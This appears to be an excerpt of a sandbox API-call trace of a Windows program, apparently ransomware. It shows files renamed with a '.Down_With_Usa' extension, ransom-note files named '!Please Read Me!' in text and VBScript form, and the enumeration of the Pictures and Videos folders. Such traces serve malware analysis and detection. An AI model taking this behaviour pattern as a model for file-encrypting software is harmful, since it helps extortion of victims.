[0276.052] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RROSpJzOY.xlsx.Down_With_Usa", length=68, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.052] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.052] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.052] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.053] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b79c) returned 0x26
[0276.053] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b79c) returned 0x26
[0276.054] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.054] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sNUw0vqjwlQLBuBn7.pps.Down_With_Usa", length=75, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.054] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.054] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.054] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.055] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285ba04) returned 0x27
[0276.055] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285ba04) returned 0x27
[0276.056] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.056] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yOGq-nHH7u4.docx.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.056] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.056] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.056] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.058] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285bc5c) returned 0x28
[0276.058] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285bc5c) returned 0x28
[0276.058] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.059] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z3BojLPubdP0.docx.Down_With_Usa", length=71, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.059] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.059] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.059] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.059] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0276.059] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 0x0
[0276.060] CoTaskMemFree (pv=0x27d84af0)
[0276.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0276.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0276.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27
[0276.062] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f059d0
[0276.063] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.063] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245c48a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26d7d7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0276.064] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245c48a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0276.065] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c86130, ftCreationTime.dwHighDateTime=0x1d5e1a7, ftLastAccessTime.dwLowDateTime=0x8a3cdb0, ftLastAccessTime.dwHighDateTime=0x1d5e2ad, ftLastWriteTime.dwLowDateTime=0x8a3cdb0, ftLastWriteTime.dwHighDateTime=0x1d5e2ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3p32x5", cAlternateFileName="")) returned 1
[0276.084] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43077820, ftCreationTime.dwHighDateTime=0x1d5dcd7, ftLastAccessTime.dwLowDateTime=0xa1bf3c10, ftLastAccessTime.dwHighDateTime=0x1d5e595, ftLastWriteTime.dwLowDateTime=0xa1bf3c10, ftLastWriteTime.dwHighDateTime=0x1d5e595, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4kUIhp3R5ENRWsi sYj", cAlternateFileName="4KUIHP~1")) returned 1
[0276.084] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d4c5ce0, ftCreationTime.dwHighDateTime=0x1d5e344, ftLastAccessTime.dwLowDateTime=0xba082de0, ftLastAccessTime.dwHighDateTime=0x1d5ddf2, ftLastWriteTime.dwLowDateTime=0xba082de0, ftLastWriteTime.dwHighDateTime=0x1d5ddf2, nFileSizeHigh=0x0, nFileSizeLow=0x484d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4X6ES9k.png", cAlternateFileName="")) returned 1
[0276.085] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0276.086] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f22200, ftCreationTime.dwHighDateTime=0x1d5dc95, ftLastAccessTime.dwLowDateTime=0x9837c4f0, ftLastAccessTime.dwHighDateTime=0x1d5e068, ftLastWriteTime.dwLowDateTime=0x9837c4f0, ftLastWriteTime.dwHighDateTime=0x1d5e068, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jUVycBe4.jpg", cAlternateFileName="")) returned 1
[0276.087] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d651da0, ftCreationTime.dwHighDateTime=0x1d5e493, ftLastAccessTime.dwLowDateTime=0xb47834e0, ftLastAccessTime.dwHighDateTime=0x1d5d8b3, ftLastWriteTime.dwLowDateTime=0xb47834e0, ftLastWriteTime.dwHighDateTime=0x1d5d8b3, nFileSizeHigh=0x0, nFileSizeLow=0xcf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIa8hLrQAzbdk.gif", cAlternateFileName="MIA8HL~1.GIF")) returned 1
[0276.087] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae772e0, ftCreationTime.dwHighDateTime=0x1d5dfb7, ftLastAccessTime.dwLowDateTime=0xc549f590, ftLastAccessTime.dwHighDateTime=0x1d5def5, ftLastWriteTime.dwLowDateTime=0xc549f590, ftLastWriteTime.dwHighDateTime=0x1d5def5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ObLPvstU75VhN1G-Guv", cAlternateFileName="OBLPVS~1")) returned 1
[0276.088] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2f7240, ftCreationTime.dwHighDateTime=0x1d5dc2c, ftLastAccessTime.dwLowDateTime=0x1c5cf9c0, ftLastAccessTime.dwHighDateTime=0x1d5e303, ftLastWriteTime.dwLowDateTime=0x1c5cf9c0, ftLastWriteTime.dwHighDateTime=0x1d5e303, nFileSizeHigh=0x0, nFileSizeLow=0x189c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="uhuBQ.bmp", cAlternateFileName="")) returned 1
[0276.089] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff89c8c0, ftCreationTime.dwHighDateTime=0x1d5dd5b, ftLastAccessTime.dwLowDateTime=0x170562f0, ftLastAccessTime.dwHighDateTime=0x1d5e795, ftLastWriteTime.dwLowDateTime=0x170562f0, ftLastWriteTime.dwHighDateTime=0x1d5e795, nFileSizeHigh=0x0, nFileSizeLow=0xc917, dwReserved0=0x0, dwReserved1=0x0, cFileName="umhtdyjspfa.jpg", cAlternateFileName="UMHTDY~1.JPG")) returned 1
[0276.089] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b05ae0, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0x1e551200, ftLastAccessTime.dwHighDateTime=0x1d5df5a, ftLastWriteTime.dwLowDateTime=0x1e551200, ftLastWriteTime.dwHighDateTime=0x1d5df5a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wne0zZhA5", cAlternateFileName="WNE0ZZ~1")) returned 1
[0276.090] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b05ae0, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0x1e551200, ftLastAccessTime.dwHighDateTime=0x1d5df5a, ftLastWriteTime.dwLowDateTime=0x1e551200, ftLastWriteTime.dwHighDateTime=0x1d5df5a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wne0zZhA5", cAlternateFileName="WNE0ZZ~1")) returned 0
[0276.091] FindClose (in: hFindFile=0x27f059d0 | out: hFindFile=0x27f059d0) returned 1
[0276.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0276.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27
[0276.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f059d0
[0276.093] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.094] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245c48a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26d7d7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0276.094] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245c48a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0276.095] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c86130, ftCreationTime.dwHighDateTime=0x1d5e1a7, ftLastAccessTime.dwLowDateTime=0x8a3cdb0, ftLastAccessTime.dwHighDateTime=0x1d5e2ad, ftLastWriteTime.dwLowDateTime=0x8a3cdb0, ftLastWriteTime.dwHighDateTime=0x1d5e2ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3p32x5", cAlternateFileName="")) returned 1
[0276.096] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43077820, ftCreationTime.dwHighDateTime=0x1d5dcd7, ftLastAccessTime.dwLowDateTime=0xa1bf3c10, ftLastAccessTime.dwHighDateTime=0x1d5e595, ftLastWriteTime.dwLowDateTime=0xa1bf3c10, ftLastWriteTime.dwHighDateTime=0x1d5e595, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4kUIhp3R5ENRWsi sYj", cAlternateFileName="4KUIHP~1")) returned 1
[0276.096] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d4c5ce0, ftCreationTime.dwHighDateTime=0x1d5e344, ftLastAccessTime.dwLowDateTime=0xba082de0, ftLastAccessTime.dwHighDateTime=0x1d5ddf2, ftLastWriteTime.dwLowDateTime=0xba082de0, ftLastWriteTime.dwHighDateTime=0x1d5ddf2, nFileSizeHigh=0x0, nFileSizeLow=0x484d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4X6ES9k.png", cAlternateFileName="")) returned 1
[0276.098] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0276.098] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f22200, ftCreationTime.dwHighDateTime=0x1d5dc95, ftLastAccessTime.dwLowDateTime=0x9837c4f0, ftLastAccessTime.dwHighDateTime=0x1d5e068, ftLastWriteTime.dwLowDateTime=0x9837c4f0, ftLastWriteTime.dwHighDateTime=0x1d5e068, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jUVycBe4.jpg", cAlternateFileName="")) returned 1
[0276.099] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d651da0, ftCreationTime.dwHighDateTime=0x1d5e493, ftLastAccessTime.dwLowDateTime=0xb47834e0, ftLastAccessTime.dwHighDateTime=0x1d5d8b3, ftLastWriteTime.dwLowDateTime=0xb47834e0, ftLastWriteTime.dwHighDateTime=0x1d5d8b3, nFileSizeHigh=0x0, nFileSizeLow=0xcf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIa8hLrQAzbdk.gif", cAlternateFileName="MIA8HL~1.GIF")) returned 1
[0276.100] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae772e0, ftCreationTime.dwHighDateTime=0x1d5dfb7, ftLastAccessTime.dwLowDateTime=0xc549f590, ftLastAccessTime.dwHighDateTime=0x1d5def5, ftLastWriteTime.dwLowDateTime=0xc549f590, ftLastWriteTime.dwHighDateTime=0x1d5def5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ObLPvstU75VhN1G-Guv", cAlternateFileName="OBLPVS~1")) returned 1
[0276.100] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2f7240, ftCreationTime.dwHighDateTime=0x1d5dc2c, ftLastAccessTime.dwLowDateTime=0x1c5cf9c0, ftLastAccessTime.dwHighDateTime=0x1d5e303, ftLastWriteTime.dwLowDateTime=0x1c5cf9c0, ftLastWriteTime.dwHighDateTime=0x1d5e303, nFileSizeHigh=0x0, nFileSizeLow=0x189c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="uhuBQ.bmp", cAlternateFileName="")) returned 1
[0276.101] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff89c8c0, ftCreationTime.dwHighDateTime=0x1d5dd5b, ftLastAccessTime.dwLowDateTime=0x170562f0, ftLastAccessTime.dwHighDateTime=0x1d5e795, ftLastWriteTime.dwLowDateTime=0x170562f0, ftLastWriteTime.dwHighDateTime=0x1d5e795, nFileSizeHigh=0x0, nFileSizeLow=0xc917, dwReserved0=0x0, dwReserved1=0x0, cFileName="umhtdyjspfa.jpg", cAlternateFileName="UMHTDY~1.JPG")) returned 1
[0276.102] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b05ae0, ftCreationTime.dwHighDateTime=0x1d5e67a, ftLastAccessTime.dwLowDateTime=0x1e551200, ftLastAccessTime.dwHighDateTime=0x1d5df5a, ftLastWriteTime.dwLowDateTime=0x1e551200, ftLastWriteTime.dwHighDateTime=0x1d5df5a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wne0zZhA5", cAlternateFileName="WNE0ZZ~1")) returned 1
[0276.102] FindNextFileW (in: hFindFile=0x27f059d0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0276.103] FindClose (in: hFindFile=0x27f059d0 | out: hFindFile=0x27f059d0) returned 1
[0276.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.109] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0276.109] SHGetFolderPathW (in: hwnd=0x0, csidl=14, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 0x0
[0276.111] CoTaskMemFree (pv=0x27d84af0)
[0276.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24
[0276.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24
[0276.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25
[0276.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05fd0
[0276.113] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.114] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26da3920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26da3920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
